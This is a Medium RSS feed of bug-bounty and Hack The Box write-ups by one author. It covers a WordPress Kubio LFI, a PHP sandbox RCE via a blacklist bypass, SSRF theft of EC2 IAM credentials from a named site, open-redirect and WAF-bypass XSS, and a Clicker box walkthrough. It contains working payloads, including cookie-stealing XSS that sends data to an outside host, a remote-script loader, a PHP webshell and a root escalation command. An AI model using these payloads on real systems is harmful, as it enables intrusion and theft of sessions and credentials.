<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Muhammad Nizar on Medium]]></title>
        <description><![CDATA[Stories by Muhammad Nizar on Medium]]></description>
        <link>https://medium.com/@0xlf?source=rss-96f60bb6dd8b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*g-nVLtUwAqtZ5dkV5vtjvQ.gif</url>
            <title>Stories by Muhammad Nizar on Medium</title>
            <link>https://medium.com/@0xlf?source=rss-96f60bb6dd8b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 09:05:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xlf/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Kubio AI Page Builder <= 2.5.1 — Unauthenticated Local File Inclusion (CVE-2025–2294)]]></title>
            <link>https://infosecwriteups.com/kubio-ai-page-builder-2-5-1-unauthenticated-local-file-inclusion-cve-2025-2294-62961fa98263?source=rss-96f60bb6dd8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/62961fa98263</guid>
            <dc:creator><![CDATA[Muhammad Nizar]]></dc:creator>
            <pubDate>Sat, 24 May 2025 08:41:48 GMT</pubDate>
            <atom:updated>2025-05-27T06:23:13.949Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kubio AI Page Builder &lt;= 2.5.1 — Unauthenticated Local File Inclusion (<a href="https://github.com/Nxploited/CVE-2025-2294">CVE-2025–2294</a>)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*pg_CRZwzEaGwLcmTVIH-rA.png" /></figure><h3>🚨 Kubio AI Page Builder &lt;= 2.5.1 — Unauthenticated Local File Inclusion (<a href="https://github.com/Nxploited/CVE-2025-2294">CVE-2025–2294</a>)</h3><p><strong>🧱 Affected Plugin:</strong><br> Kubio AI Page Builder for WordPress (≤ 2.5.1)</p><h3>📝 Description</h3><p>CVE-2025–2294 is a critical vulnerability affecting the Kubio AI Page Builder plugin for WordPress, versions up to and including 2.5.1. This flaw stems from an unauthenticated Local File Inclusion (LFI) issue in the kubio_hybrid_theme_load_template function, allowing attackers to include and execute arbitrary files on the server. Consequently, malicious actors can bypass access controls, access sensitive data, or execute arbitrary PHP code, potentially leading to full system compromise</p><h3>📌 Key Details</h3><ul><li><strong>📛 CVE ID:</strong> CVE-2025–2294</li><li><strong>🔥 Severity:</strong> Critical (CVSS 9.8)</li><li><strong>🧑‍💻 Attack Vector:</strong> Remote (unauthenticated)</li><li><strong>📂 Impact:</strong> Confidentiality, Integrity, Availability</li><li><strong>🚀 Exploitation Status:</strong> Public exploits available</li><li><strong>🔍 Affected Versions:</strong> Kubio AI Page Builder ≤ 2.5.1</li><li><strong>📅 Disclosure Year:</strong> 2025</li></ul><h3>🔍 FOFA Dork for Kubio WordPress Plugin</h3><pre>body=&quot;wp-content/plugins/kubio&quot;</pre><h3>🐞 How to Reproduce CVE-2025–2294 (LFI in Kubio AI Page Builder)</h3><blockquote><strong><em>⚠️ Warning:</em></strong><em> Only test on authorized targets! Unauthorized hacking is illegal.</em></blockquote><h3>🔍 Step-by-step Exploit Example</h3><p><strong>1.🔎 Identify Vulnerable Endpoint</strong><br> The plugin reads URL parameters related to iframe preview and templates.</p><p><strong>2.🛠️ Construct Malicious URL</strong><br> The parameter __kubio-site-edit-iframe-classic-template can be manipulated to include files.</p><pre>https://target-website.com/?__kubio-site-edit-iframe-preview=true&amp;__kubio-site-edit-iframe-classic-template=../../../../../../../etc/passwd</pre><p><strong>4.💥 What Happens:</strong></p><ul><li>__kubio-site-edit-iframe-preview=true triggers iframe preview.</li><li>__kubio-site-edit-iframe-classic-template=../../../../../../../etc/passwd tries to include</li></ul><h3><strong>Proof Of Concept</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yHWpqVvXX2M-nq_vwX3lOQ.png" /></figure><p>🔗 References</p><p><a href="https://github.com/0xWhoami35/CVE-2025-2294">https://github.com/0xWhoami35/CVE-2025-2294</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62961fa98263" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/kubio-ai-page-builder-2-5-1-unauthenticated-local-file-inclusion-cve-2025-2294-62961fa98263">Kubio AI Page Builder &lt;= 2.5.1 — Unauthenticated Local File Inclusion (CVE-2025–2294)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Escape Function to perform Remote Code Execution in PHP compiler]]></title>
            <link>https://infosecwriteups.com/escape-function-to-perform-remote-code-execution-in-php-compiler-709fd484b84f?source=rss-96f60bb6dd8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/709fd484b84f</guid>
            <dc:creator><![CDATA[Muhammad Nizar]]></dc:creator>
            <pubDate>Wed, 26 Feb 2025 15:33:36 GMT</pubDate>
            <atom:updated>2025-03-08T03:37:28.662Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SYYd2NT5lptC-kja_w-h0A.jpeg" /></figure><p>So the Host is provide php compiler for users can execute php code from the server , but once i put code with contains a dangerous / malicious function to execute the server such as shell_exec , exec system etc. it&#39;s blank alias nothing so i escape the character the function to gain RCE .</p><p>1.I’ve tried to put this code</p><p>and i got blank output , so now i think the server it’s blacklist malicious function to allows remote control . So i will escape the function name such as $ex = &quot;e&quot;.&quot;x&quot;.&quot;e&quot;.&quot;c&quot; so i will call$ex variables to called exec function and execute a code . So let&#39;s we craft the simple code</p><p>Here, PHP is concatenating the strings “e”, “x”, “e”, and “c” to form the string “exec”. The variable $ex will hold the value “exec”. Essentially, this is a way to dynamically construct the name of a PHP function.</p><p>The exec() function in PHP is used to execute external programs or system commands.</p><ul><li>Here, ‘ls’ is the argument passed to exec(), which is a common Linux/Unix command that lists the contents of the directory.</li></ul><p>So, when executed, the exec(‘ls’) command would list the files and directories in the current directory of the server where the PHP code is running.</p><p>once i execute pwd command i got this directory /home/kripal22/public_html/compiler that&#39;s mean it&#39;s not using virtual server for making php compiler , So i can perform to Remote Code execution the server and can do anything on the server such as modify , delete and add file from the server</p><p>I’ve uploaded my txt file on the server here’s my proof</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*fnpgxVh_02UqsRttS4meKg.png" /></figure><ul><li>Use virtual Server for making a progamming language compiler such as w3schools , codeacademy (etc)</li><li>Disable a dangerous function such as exec , shell_exec and system</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=709fd484b84f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/escape-function-to-perform-remote-code-execution-in-php-compiler-709fd484b84f">Escape Function to perform Remote Code Execution in PHP compiler</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSRF steals EC2 tokens]]></title>
            <link>https://infosecwriteups.com/ssrf-steals-ec2-tokens-d6f46835286e?source=rss-96f60bb6dd8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6f46835286e</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Muhammad Nizar]]></dc:creator>
            <pubDate>Wed, 26 Feb 2025 03:29:49 GMT</pubDate>
            <atom:updated>2025-03-05T03:15:12.160Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/784/0*UfJl2GATIH65jWqC" /></figure><p>What is SSRF (Server-Side Request Forgery)? Server-Side Request Forgery (SSRF) is a critical vulnerability that allows an attacker to manipulate a server into making unintended requests. This can lead to leakage of sensitive data, access to internal systems, or even remote code execution. Let’s go deeper into how SSRF can be used to steal source code, access internal services, and exfiltrate sensitive data.</p><ul><li>Many applications run internal services that shouldn’t be exposed to the public (e.g., http://localhost, http://127.0.0.1, <a href="http://internal-service.local)./">http://internal-service.local).</a></li><li>If an attacker can manipulate the URL, they can scan internal services.</li></ul><h3>Example payload:</h3><blockquote>http://example.com/get-image?url=http://localhost:6379/ If the response is different for an open port, the attacker knows which services are running.</blockquote><p>AWS SSRF Payload:</p><blockquote><a href="http://example.com/get-image?url=http://169.254.169.254/latest/meta-data/"><strong>http://example.com/get-image?url=http://169.254.169.254/latest/meta-data/</strong></a></blockquote><p>If successful, the attacker can read IAM role credentials, allowing them to take over cloud resources.</p><p>No<strong>w let’s we reproduce the vulnerability . I found the target by </strong><a href="https://www.youtube.com/@lostsecc"><strong>https://www.youtube.com/@lostsecc</strong></a><strong> this youtube channel you can support him and learn from him . His is bug hunter also and some of vulnerability i learn from him i’m very grateful . So let’s we talking about how to reproduce this vulnerability . I’ve tried to reproduce the vulnerability to more critical and i see something it’s using AWS server . So based on my research i can steal the IAM credentials and takeover S3 cloud bucket from the server and also i’ve identify the website is using a php languages so i can use a symlink to get the current path to arbitary read file on the server .</strong></p><p>I will not be responsible if you use this lesson incorrectly. I am only conveying knowledge.</p><p>TBH this vulnerability has been patched by a few weeks and i think i want to disclosure this vulnerablity</p><p>1. <a href="https://www.somaiya.edu/download.php?pdf_path=https://XXX.com/blabla.pdf">https://www.somaiya.edu/download.php?pdf_path=https://XXX.com/blabla.pdf</a></p><p>It’s will downloading a pdf file so i tried to manipulation the url and it’s work , so that’s mean the download.php allows downloads from external url and not internal only , So the conclusion is i can get any source from the server like arbitary file read , I can get IAM credentials by change pdf_path value into AWS internal and also can do file:///etc/passwd</p><p>So after i try to manipulation the external url with file:///etc/passwd it&#39;s valid now let&#39;s we leak the mysql credentials using a symlink</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LxIadNWEzcnikBx8" /></figure><h3>What is Symlink?</h3><p>First of all we need to knows how symlink was work. A symbolic link (symlink) is a special type of file in a filesystem that points to another file or directory. It acts as a shortcut, allowing users to access the target file or directory from a different location without duplicating the actual data</p><p>Now let’s find the current path of server using symlink . After i research i’ve found this /proc/self/cwd/index.php so this is symlink to read current path on server</p><p>Then after i put this file:///proc/self/cwd/index.php it’s work i’ve leaked the index.php. In index.php after i analyze the code i got the location of database on arigel/config/database.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zQDEDax1OyEYtOzZi5Z0bA.png" /></figure><p>Here the credentials of mysql . As you can see here the host mysql is using amazon cloud so i think it’s possibility i can access the cloud AWS from the server and steal the credentials</p><p>1.Change the pdf_path value with internal aws <a href="http://169.254.169.254/latest/user-data">http://169.254.169.254/latest/user-data</a></p><p>As you can see there is list of directory for internal aws so to steal the credentials just do this</p><p><a href="http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance">http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TklWX5wM5RTBchxUPe0N5A.png" /></figure><p>So for full video you can watch in my youtube channel here</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FFasPR_KQ4oU%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DFasPR_KQ4oU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FFasPR_KQ4oU%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/77475297986e744ffa9c6ddb7e84db8a/href">https://medium.com/media/77475297986e744ffa9c6ddb7e84db8a/href</a></iframe><h3>Impact Of SSRF</h3><ol><li>Attacker can takeover s3 bucket or any sensitive credentials on cloud server</li><li>Possibility leakage source code</li></ol><p>Best Regards,</p><p>Muhammad Nizar</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6f46835286e" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/ssrf-steals-ec2-tokens-d6f46835286e">SSRF steals EC2 tokens</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Open Redirect To XSS | Hackerone]]></title>
            <link>https://infosecwriteups.com/open-redirect-to-xss-hackerone-413ced1d4e1e?source=rss-96f60bb6dd8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/413ced1d4e1e</guid>
            <dc:creator><![CDATA[Muhammad Nizar]]></dc:creator>
            <pubDate>Tue, 25 Feb 2025 06:47:19 GMT</pubDate>
            <atom:updated>2025-03-06T06:25:00.051Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5BqIsulmZyDjbXJL2qt2Og.jpeg" /></figure><blockquote><strong>Title:Open Redirect on Topcoder | Hackerone</strong></blockquote><blockquote><strong>Weakness Open redirect to RXSS</strong></blockquote><blockquote><strong>Severity: Medium</strong></blockquote><blockquote><strong>Date reported: Reported January 6, 2025, 4:59pm UTC</strong></blockquote><blockquote><strong>Vulnerable Endpoint: </strong><a href="https://accounts-auth0.topcoder.com/?mode=signUp&amp;retUrl="><strong>https://accounts-auth0.topcoder.com/mode=signUp&amp;retUrl=</strong></a></blockquote><blockquote><strong>Second Vulnerable Endpoint: </strong><a href="https://accounts-auth0.topcoder.com/?appUrl="><strong>https://accounts-auth0.topcoder.com/?appUrl=</strong></a></blockquote><blockquote><strong>Platforms: </strong><a href="https://hackerone.com/lab45?type=team"><strong>https://hackerone.com/lab45?type=team</strong></a></blockquote><blockquote><strong>Status: Triaged</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*DqHxFtktgKfybn2M" /></figure><p>An open redirect is a security vulnerability that occurs when a web application allows users to be redirected to external URLs without proper validation. This can be exploited by attackers for phishing, malware distribution, and other malicious activities.</p><ol><li>A website has a url Parameter that control the redirections</li></ol><pre>https://example.com/redirect?url=https://evil.com</pre><p>So it’s will redirect into evil.com then from there we can manipulation the url parameter with any external url such asjavascript:alert(1) this for popup the XSS</p><p>2.Possibility Session / Cookie hijacking</p><pre>https://example.com/redirect?url=javascript:eval(&#39;var a=document.createElement(\&#39;script\&#39;);a.src=\&#39;https://xss.report/c/XXXX\&#39;;document.body.appendChild(a)&#39;)</pre><p>eval() in JavaScript is a built-in function that executes a string of JavaScript code as if it were part of the script. It can dynamically evaluate expressions, statements, or even entire programs.</p><p>eval() is to <strong>execute JavaScript code dynamically</strong>, but this feature makes it highly dangerous when handling untrusted input. Attackers can exploit eval() to run malicious JavaScript, including <strong>loading external scripts that hijack a victim&#39;s session, steal sensitive data, or execute malicious actions</strong>.</p><p>Now let’s we reproduce</p><p>1.Sign up / Sign in Account on Topcoder platform</p><p>2.Then you’ll found retUrl and appUrl parameter value it&#39;s redirect into htttps://topcoder.com</p><p><a href="https://accounts-auth0.topcoder.com/?logout=true&amp;retUrl=https://topcoder.com">https://accounts-auth0.topcoder.com/?logout=true&amp;retUrl=https://topcoder.com</a></p><p>3.Manipulation retUrl value with this payload javascript:alert(document.domain)</p><h3><strong>PoC</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BTyz6g7fmjmUlFokeRPPYA.png" /></figure><h3><strong>Risk of Open Redirect</strong></h3><blockquote>Attacker can redirect any malicious external url like https://evil.com and also can do perform XSS . If XSS it’s vuln possibility attacker can generate a malicious payload to hijack victim session</blockquote><h4><strong>How to Prevent Open Redirect Vulnerabilities</strong></h4><ul><li>Allow Only Internal Redirects: Restrict redirects to trusted domains.</li><li>Use Relative URLs: Prefer relative paths over absolute URLs.</li></ul><p>Best Regards,</p><p>Muhammad Nizar</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=413ced1d4e1e" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/open-redirect-to-xss-hackerone-413ced1d4e1e">Open Redirect To XSS | Hackerone</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypass WAF Cloudflare RXSS | Hackerone]]></title>
            <link>https://infosecwriteups.com/bypass-waf-cloudflare-rxss-hackerone-c12c57809ad6?source=rss-96f60bb6dd8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/c12c57809ad6</guid>
            <dc:creator><![CDATA[Muhammad Nizar]]></dc:creator>
            <pubDate>Mon, 24 Feb 2025 16:41:50 GMT</pubDate>
            <atom:updated>2025-03-05T03:22:45.904Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VZCzGuVVlIbJciwnWw_2vA.jpeg" /></figure><blockquote><strong><em>Title:Bypass WAF Cloudflare RXSS in Hackerone</em></strong></blockquote><blockquote><strong><em>Severity:low</em></strong></blockquote><blockquote><strong><em>Reported: July 8, 2024, 11:29am UTC</em></strong></blockquote><blockquote><strong><em>Company: Mars</em></strong></blockquote><blockquote><strong><em>Vulnerable Endpoint: </em></strong><strong><em>search-results?search[1]=XSS&amp;s=XSS</em></strong></blockquote><blockquote><strong><em>Status?: Fixed and Resolved</em></strong></blockquote><p>i Found 6 RXSS with same company bcz they’re using same vendor i think and maybe the source code it’s also same . I identify the vulnerability with html injection first either it’s execute or no . If the server execute a html injection it’s possible to get Reflected Cross Site Scripting(XSS) . So after i try to identify the vulnerability and it’s vulnerable and valid . So i’ve tried to put a some payload xss and i’ve got blocked then i just escape it with Upper Case letter only and it’s popup XSS . Let’s me show you how i reproduce this vulnerability in Hackerone</p><p><a href="https://www.skittles.com/">https://www.skittles.com/</a></p><p><a href="https://orbitgum.com/">https://orbitgum.com/</a></p><p><a href="https://www.pedigree.com/">https://www.pedigree.com/</a></p><p><a href="https://www.dovechocolate.com/">https://www.dovechocolate.com/</a></p><p><a href="https://www.extragum.com/">https://www.extragum.com/</a></p><p><a href="https://www.twix.com/">https://www.twix.com/</a></p><p>1.Go to searchbar</p><p>2.Put &lt;h1&gt;dd it&#39;s will appear high dd text that&#39;s mean it&#39;s vulnerable html injection so from there we can perform to RXSS</p><p>3.I’ve tried put any xss payload and i got blocked by Cloudflare WAF lol : V</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3wJBJHn7r1uQd85a" /></figure><p>That’s mean we need to escape the entity character to popup the xss</p><p>&lt;Svg Only=1 OnLoad=confirm(document.domain)&gt; // Refference payload By @lostsec</p><p>So this payload it’s vulnerable XSS it’s just change to Upper case letter to bypass it</p><p>Payload for steal cookies</p><pre>&lt;Svg Only=1 OnLoad=&quot;window.location=&#39;https://z11nfs29gisxwouch0e6v6mkxb32rsfh.oastify.com?X=&#39;+document.cookie&quot;&gt;</pre><p>This payload for steal cookie when user open the url</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*71tNWrZ7KW29QJGg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RbPdxctGdlYAOlBsUFs8Hw.png" /></figure><p>You can watch my full poc in my youtube channel at below :)</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FAxnBi25jJ18%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DAxnBi25jJ18&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FAxnBi25jJ18%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/38f7f902f8d5509a4d0c5ff797e92b1c/href">https://medium.com/media/38f7f902f8d5509a4d0c5ff797e92b1c/href</a></iframe><p>Best Regards,</p><p>Muhammad Nizar</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c12c57809ad6" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/bypass-waf-cloudflare-rxss-hackerone-c12c57809ad6">Bypass WAF Cloudflare RXSS | Hackerone</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Clicker Writeup]]></title>
            <link>https://0xlf.medium.com/htb-clicker-writeup-4fa3f97be17c?source=rss-96f60bb6dd8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fa3f97be17c</guid>
            <dc:creator><![CDATA[Muhammad Nizar]]></dc:creator>
            <pubDate>Sat, 27 Jan 2024 00:30:01 GMT</pubDate>
            <atom:updated>2024-07-27T18:35:38.264Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zJ4ohdmUZLaEgLya.jpg" /></figure><p>Clicker is a Medium Linux box featuring a Web Application hosting a clicking game. Enumerating the box, an attacker is able to mount a public NFS share and retrieve the source code of the application, revealing an endpoint susceptible to SQL Injection. Exploiting this vulnerability, an attacker can elevate the privileges of their account and change the username to include malicious PHP code. Accessing the admin panel, an export feature is abused to create a PHP file including the modified username, leading to arbitrary code execution on the machine as www-data. Enumeration reveals an SUID binary that can access files under the home folder of the user jack. By performing a path traversal attack on the binary, the attacker is able to get the SSH key of jack, who is allowed to run a monitoring script with arbitrary environment variables with sudo. The monitoring script expects a response to a curl request in XML format. The attacker, by setting the http_proxy variable, is able to intercept and alter the response to the script, in order to include an XXE payload to read the SSH key of the root user. Finally, the attacker is able to use the SSH key and get access as the root user on the remote machine. Related Academy Modules</p><h3>Shell as www-data</h3><p>nmap -sC -sV -p- -T4 --min-rate=9326 --vv 10.10.11.232 | grep port</p><p>NFS : NFS, or Network File System, serves as a cross-platform protocol designed for sharing directories and files seamlessly across different operating systems over a network. This technology empowers remote systems to function as though they are local when the shared resources are mounted, granting users access based on the privileges assigned to each specific share. When NFS is improperly configured, it can potentially expose vulnerabilities that malicious actors may exploit to gain unauthorized access to sensitive data or even establish a shell on the target system.</p><p>mkdir -p /mnt/nfs_file_shares cd /mnt mount -o nolock 10.10.11.232:/ /mnt/nfs_file_shares cd nfs_file_shares/mnt/backups</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eKaP_pFNEQo9zr6a.png" /></figure><p>Read-only acceptable on /mnt so we need move that zip to another directory</p><p>cp clicker.htb_backup.zip /tmp unzip clicker.htb_backup.zip cd clicker.htb</p><p>U can see here we have the source code on clicker.htb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W8y7bTKbTs8z_MZf.png" /></figure><p>There have form register and login let’s we create account and login . I’ve looked in create_player.php file Do not allow special character .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HtUqHs09v4BwCWkx.png" /></figure><p>There just appearing profile , Logout and play let’s we check play first . On play.php is clicker also have clicks numbers and levels . Now we&#39;ll try read source code in play.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jceh8YW21SS8NawY.png" /></figure><p>in play.php can modify your role user to superuser</p><p>U need some click to save it, and cann see there using save_game.php go back to linux to read source code save_game.php</p><p>Here file the code see the strtolower($key) === &#39;role&#39;) to modify role to user administrator the parameter is role , But something prevent to modify , if there is no obstacle you can modify role=Admin easily. But there is an obstacle we need bypass it.To knows role name you can check in admin.php file there used Admin Role</p><p>We try Crlf Injection to privilege escalation to Administrator</p><blockquote><a href="https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a"><strong>Crlf Injection — Hacktricks</strong></a></blockquote><p>Back to <strong>play.php</strong> to crlf injection it click some clickers and save the game with intercept burpsuite</p><p>Add this parameter <strong>role<em>%0d%0a=Admin</em></strong> like this request below</p><p>Go back to index.php to see if anything has changed but … is not changed lol we try relogin and we got access Administration Portal XD</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OqETUoxTTC8XdHYs.png" /></figure><p>Administration was appended now we’ve privilege user to superuser</p><p>Go to Administration and we try export it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R9Sn-r_uMjPy0JuK.png" /></figure><h3><strong>PHP CODE INJECTION</strong></h3><p>Look here. I’ve shown you two tabs for browsers. There were only exports for the top players; Clicker only appeared. After I exported it, it was automatically saved as a txt file, and there were shown the directory name and file name.There are 3 extensions to save: txt, json, and html. Now let&#39;s export it with Capture in Burpsuite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PnOe4mzRJHVtpJ17.png" /></figure><p>Look at the request on parameter ‘extension’. There was a txt extension. I’ll try changing the extension from txt to php because this website uses PHP, so I just want to see if it’s working or not. So now I’ve changed txt to php and it was saved as php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AaYD0pUQMoAfe0xc.png" /></figure><p>It’s changed to PHP code, so I’ll try to put malicious code on the nickname and change the extension to PHP. But to create malicious code, we need to use special characters, but register.php does not accept special characters, so we need to use another way.</p><p>we need change it my nickname user using code php</p><p>Read the file authenticate.php</p><p>The param is nickname so we just append nickname on play.php to update our nickname with php malicious code</p><p>just we dont need bypass because role only need bypass because something prevent it .</p><p>&amp;nickname=&lt;%3fphp+system($_GET[&#39;cmd&#39;])+%3f&gt; just add this only at the param save_game.php this is code for remote code execution php . Decode the php code to url encode . To get top player in leaderboard clicker you can change your clicker to 999999999999 to appear in leaderboard . CREATE A NEW ACCOUNT AND CHANGE CLICKER NUMBER AND ADD CRLF INJECTION PAYLOAD TO MODIFY ROLE . AFTER THAT FORWARD AND DO IT AGAIN WITH ADD NICKNAME , because i&#39;ve did it all at once but it didn&#39;t work.</p><p>Now check in leaderboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*frYkDTMtNfJLkySa.png" /></figure><p>Look here my name is blank because i’ve added php code malicious so now i’ll change extension to php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OFvDG8TLa3ygjs2S.png" /></figure><p>Add &amp;cmd=$COMMAND because the webshell code is used $GET_ cmd</p><p>To revshell we using echo command with base64 decode and bash to revshell</p><p>Without Url Encode</p><p>With url encode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-k2EXmSVZcmJbF1_.png" /></figure><p>There is base64 decode so to create a revshell payload you can generate here <a href="https://www.revshells.com/">Revshells</a> Change bash to sh</p><h3>Shell as jack</h3><p>Netcat was connected so now we just need get the user</p><p>Only jack user was registered on /etc/passwd i&#39;ll try find user group jack using find command</p><p>Now we goes to /opt/manage to get a password or priv8 keys</p><p>There have a README.txt file maybe that is guide to using that tools</p><p>there is option to using the tools but no one option how to read the file because we need find the priv8 key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8VAAG6DTS6ILowah.png" /></figure><p>I know now option number above 5 is using for read a file so now we can get priv8 keys jack because execute_query have permission as jack , but it&#39;s not working so i think we can read file with directory traversal lets we try</p><p>./execute_query 5 ../../../etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XPDhjRcvKuvdrXJc.png" /></figure><p>It’s worked and there can read the /etc/passwd file so now we just try to get ssh key</p><p>./execute_query 5 ../.ssh/id_rsa</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V_-DReP6fSfMeVw3.png" /></figure><p>I’ve got priv8 key jack so now we just login</p><p>chmod 600 id_rsa</p><p>The id_rsa it&#39;s error let&#39;s we check . We need to remove -- on id_rsa and recreate this -- line. the lines must have 5</p><p>ssh -i id_rsa jack@clicker.htb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*watYIkKjlX1P7kwZ.png" /></figure><p>Successfully login now we try run sudo -l to see jack have permision root or not</p><h3>Shell as root</h3><p>After many inspections, I noticed that this file actually calls /usr/bin/echo and /usr/bin/xml_pp. /usr/bin/echo is a binary file and nothing special. But /usr/bin/xml_pp is using Perl script to run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*twXZi8cQbrvsLjon.png" /></figure><p>There script are using perl . The vulnerability is perl_startup also we can execute this script with with root privileges , We can using perl_startup to execute command with root access</p><p><a href="https://www.exploit-db.com/exploits/39702">Exploit-DB : Exim — ‘perl_startup’ Local Privilege Escalation</a> sudo PERL5OPT=-d PERL5DB=&#39;exec &quot;chmod u+s /bin/bash&quot;&#39; /opt/monitor.sh</p><p>echo &#39;root:123&#39; | chpasswd --crypt-method SHA512 su root</p><p><em>Originally published at </em><a href="https://0xwhoami35.github.io/posts/HTB_Clicker/"><em>https://0xwhoami35.github.io</em></a><em> on January 27, 2024.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fa3f97be17c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
